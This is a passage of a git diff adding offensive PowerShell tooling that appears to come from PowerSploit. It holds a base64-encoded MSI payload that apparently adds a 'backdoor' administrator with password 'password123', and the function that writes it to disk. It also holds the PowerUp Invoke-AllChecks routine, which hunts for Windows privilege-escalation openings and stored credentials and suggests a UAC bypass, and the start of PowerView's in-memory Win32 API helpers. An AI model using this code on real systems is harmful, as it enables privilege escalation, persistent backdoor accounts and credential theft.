RfQ2xpY2sAYWRkX1RleHRDaGFuZ2VkAEJ1dHRvbkJhc2UAc2V0X1VzZVZpc3VhbFN0eWxlQmFja0NvbG9yAFNpemVGAENvbnRhaW5lckNvbnRyb2wAc2V0X0F1dG9TY2FsZURpbWVuc2lvbnMAQXV0b1NjYWxlTW9kZQBzZXRfQXV0b1NjYWxlTW9kZQBzZXRfQ2xpZW50U2l6ZQBDb250cm9sQ29sbGVjdGlvbgBnZXRfQ29udHJvbHMAYWRkX0xvYWQAUmVzdW1lTGF5b3V0AFBlcmZvcm1MYXlvdXQAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQAuY2N0b3IAU2V0dGluZ3NCYXNlAFN5bmNocm9uaXplZABTVEFUaHJlYWRBdHRyaWJ1dGUARW5hYmxlVmlzdWFsU3R5bGVzAFNldENvbXBhdGlibGVUZXh0UmVuZGVyaW5nRGVmYXVsdABSdW4ARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAEFzc2VtYmx5AGdldF9Bc3NlbWJseQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlU3RhdGUAV2luZG93c0Zvcm1zQXBwbGljYXRpb24xLkZvcm0xLnJlc291cmNlcwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcy5SZXNvdXJjZXMucmVzb3VyY2VzAAARVwBpAG4ATgBUADoALwAvAAATLABjAG8AbQBwAHUAdABlAHIAAAl1AHMAZQByAAAXUwBlAHQAUABhAHMAcwB3AG8AcgBkAAAHUAB1AHQAABdEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAlVAHMAZQByAAALZwByAG8AdQBwAAAHQQBkAGQAABF1AHMAZQByAG4AYQBtAGUAABFiAGEAYwBrAGQAbwBvAHIAAA1sAGEAYgBlAGwAMQAAEVUAcwBlAHIAbgBhAG0AZQAADWwAYQBiAGUAbAAyAAARUABhAHMAcwB3AG8AcgBkAAARcABhAHMAcwB3AG8AcgBkAAAXcABhAH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VCNEI4M0I0MTlTZXRQcm9wZXJ0eUZvckRlZmVycmVkYnouTW9kaWZ5UmVnaXN0cnlbQlouV1JBUFBFRF9BUFBJRF1iei5TdWJzdFdyYXBwZWRBcmd1bWVudHNfU3Vic3RXcmFwcGVkQXJndW1lbnRzQDRiei5SdW5XcmFwcGVkU2V0dXBbYnouU2V0dXBTaXplXSAiW1NvdXJjZURpcl1cLiIgW0JaLklOU1RBTExfU1VDQ0VTU19DT0RFU10gKltCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UU11bV1JBUFBFRF9BUkdVTUVOVFNdX01vZGlmeVJlZ2lzdHJ5QDRiei5Vbmluc3RhbGxXcmFwcGVkX1VuaW5zdGFsbFdyYXBwZWRANFByb2dyYW1GaWxlc0ZvbGRlcmJ4anZpbHc3fFtCWi5DT01QQU5ZTkFNRV1UQVJHRVRESVIuU291cmNlRGlyUHJvZHVjdEZlYXR1cmVNYWluIEZlYXR1cmVQcm9kdWN0SWNvbkZpbmRSZWxhdGVkUHJvZHVjdHNMYXVuY2hDb25kaXRpb25zVmFsaWRhdGVQcm9kdWN0SURNaWdyYXRlRmVhdHVyZVN0YXRlc1Byb2Nlc3NDb21wb25lbnRzVW5wdWJsaXNoRmVhdHVyZXNSZW1vdmVSZWdpc3RyeVZhbHVlc1dyaXRlUmVnaXN0cnlWYWx1ZXNSZWdpc3RlclVzZXJSZWdpc3RlclByb2R1Y3RSZW1vdmVFeGlzdGluZ1Byb2R1Y3RzTk9UIFJFTU9WRSB+PSJBTEwiIEFORCBOT1QgVVBHUkFERVBST0RVQ1RDT0RFUkVNT1ZFIH49ICJBTEwiIEFORCBOT1QgVVBHUkFESU5HUFJPRFVDVENPREVOT1QgV0lYX0RPV05HUkFERV9ERVRFQ1RFRERvd25ncmFkZXMgYXJlIG5vdCBhbGxvd2VkLkFMTFVTRVJTMUFSUE5PUkVQQUlSQVJQTk9NT0RJRllBUlBQUk9EVUNUSUNPTkFSUEhFTFBMSU5LaHR0cDovL3d3dy5leGVtc2kuY29tQVJQVVJMSU5GT0FCT1VUQVJQQ09NTUVOVFNNU0kgVGVtcGxhdGUuQVJQQ09OVEFDVE15IGNvbnRhY3QgaW5mb3JtYXRpb24uQVJQVVJMVVBEQVRFSU5GT015IHVwZGF0ZSBpbmZvcm1hdGlvbi5CWi5WRVJGQlouV1JBUFBFRF9BUFBJRHs1NjYyODkxMi04RUQ0LTQ4RUYtQUM1Mi1FRTgzQTFCRkJGMTF9X2lzMUJaLkNPTVBBTllOQU1FRVhFTVNJLkNPTUJaLklOU1RBTExfU1VDQ0VTU19DT0RFUzBCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UUy9TSUxFTlQgQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUZVTExfSU5TVEFMTF9BUkdVTUVOVFNCWi5GSVhFRF9VTklOU1RBTExfQVJHVU1FTlRTQlouVUlOT05FX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUJBU0lDX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfVU5JTlNUQUxMX0FSR1VNRU5UU0JaLlVJRlVMTF9VTklOU1RBTExfQVJHVU1FTlRTYnouU2V0dXBTaXplMjMyOTYwTWFudWZhY3R1cmVyUHJvZHVjdENvZGV7MjcxQkJDRUQtRjM2QS00RThFLUE1NzYtOTQ1NUYwQ0EwMUE4fVByb2R1Y3RMYW5ndWFnZTEwMzNQcm9kdWN0TmFtZU1TSSBXcmFwcGVyIFRlbXBsYXRlUHJvZHVjdFZlcnNpb24xLjAuMC4we0NDMDM1QzE4LTBGQzctNDcwOC04ODA2LUQ0QjA5MUU1OUFBN31TZWN1cmVDdXN0b21Qcm9wZXJ0aWVzV0lYX0RPV05HUkFERV9ERVRFQ1RFRDtXSVhfVVBHUkFERV9ERVRFQ1RFRFNPRlRXQVJFXFtCWi5DT01QQU5ZTkFNRV1cTVNJIFdyYXBwZXJcSW5zdGFsbGVkXFtCWi5XUkFQUEVEX0FQUElEXUxvZ29uVXNlcltMb2dv" + + try { + [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte + Write-Verbose "MSI written out to '$Path'" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputPath' $Path + $Out + } + catch { + Write-Warning "Error while writing to location '$Path': $_" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputPath' $_ + $Out + } +} + + +function Invoke-AllChecks { +<# + .SYNOPSIS + + Runs all functions that check for various Windows privilege escalation opportunities. + + .PARAMETER HTMLReport + + Switch. Write a HTML version of the report to SYSTEM.username.html. + + .EXAMPLE + + PS C:\> Invoke-AllChecks + + Runs all escalation checks, output statuses for whatever's found. +#> + + [CmdletBinding()] + Param( + [Switch] + $HTMLReport + ) + + if($HTMLReport) { + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $Header = "" + + ConvertTo-HTML -Head $Header -Body "

PowerUp report for '$($Env:ComputerName).$($Env:UserName)'

" | Out-File $HtmlReportFile + } + + # initial admin checks + + "`n[*] Running Invoke-AllChecks" + + $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + + if($IsAdmin){ + "[+] Current user already has local administrative privileges!" + + if($HTMLReport) { + ConvertTo-HTML -Head $Header -Body "

User Has Local Admin Privileges!

" | Out-File -Append $HtmlReportFile + } + # return + } + else{ + "`n`n[*] Checking if user is in a local group with administrative privileges..." + if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ){ + "[+] User is in a local group that grants administrative privileges!" + "[+] Run a BypassUAC attack to elevate privileges to admin." + + if($HTMLReport) { + ConvertTo-HTML -Head $Header -Body "

User In Local Group With Adminisrtative Privileges

" | Out-File -Append $HtmlReportFile + } + } + } + + + # Service checks + + "`n`n[*] Checking for unquoted service paths..." + $Results = Get-ServiceUnquoted + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Unquoted Service Paths

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking service executable and argument permissions..." + $Results = Get-ServiceFilePermission + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Service Executable Permissions

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking service permissions..." + $Results = Get-ServicePermission + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Service Permissions

" | Out-File -Append $HtmlReportFile + } + + + # .dll hijacking + + "`n`n[*] Checking %PATH% for potentially hijackable .dll locations..." + $Results = Find-PathHijack + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

%PATH% .dll Hijacks

" | Out-File -Append $HtmlReportFile + } + + + # registry checks + + "`n`n[*] Checking for AlwaysInstallElevated registry key..." + if (Get-RegAlwaysInstallElevated) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputFile' $OutputFile + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI" + $Results = $Out + + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

AlwaysInstallElevated

" | Out-File -Append $HtmlReportFile + } + } + + "`n`n[*] Checking for Autologon credentials in registry..." + $Results = Get-RegAutoLogon + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Registry Autologons

" | Out-File -Append $HtmlReportFile + } + + + "`n`n[*] Checking for vulnerable registry autoruns and configs..." + $Results = Get-VulnAutoRun + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Registry Autoruns

" | Out-File -Append $HtmlReportFile + } + + # other checks + + "`n`n[*] Checking for vulnerable schtask files/configs..." + $Results = Get-VulnSchTask + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Vulnerabl Schasks

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for unattended install files..." + $Results = Get-UnattendedInstallFile + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Unattended Install Files

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for encrypted web.config strings..." + $Results = Get-Webconfig | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Encrypted 'web.config' String

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for encrypted application pool and virtual directory passwords..." + $Results = Get-ApplicationHost | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Encrypted Application Pool Passwords

" | Out-File -Append $HtmlReportFile + } + "`n" + + if($HTMLReport) { + "[*] Report written to '$HtmlReportFile' `n" + } +} diff --git a/Modules/PowerView_dev.ps1 b/Modules/PowerView_dev.ps1 new file mode 100644 index 0000000..2dc5234 --- /dev/null +++ b/Modules/PowerView_dev.ps1 @@ -0,0 +1,20914 @@ +#requires -version 2 + +<# + +PowerSploit File: PowerView.ps1 +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +#> + + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule { +<# +.SYNOPSIS + +Creates an in-memory assembly and module + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum { +<# +.SYNOPSIS + +Creates an in-memory enumeration for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. + +.PARAMETER Module + +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the enum. + +.PARAMETER Type + +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod 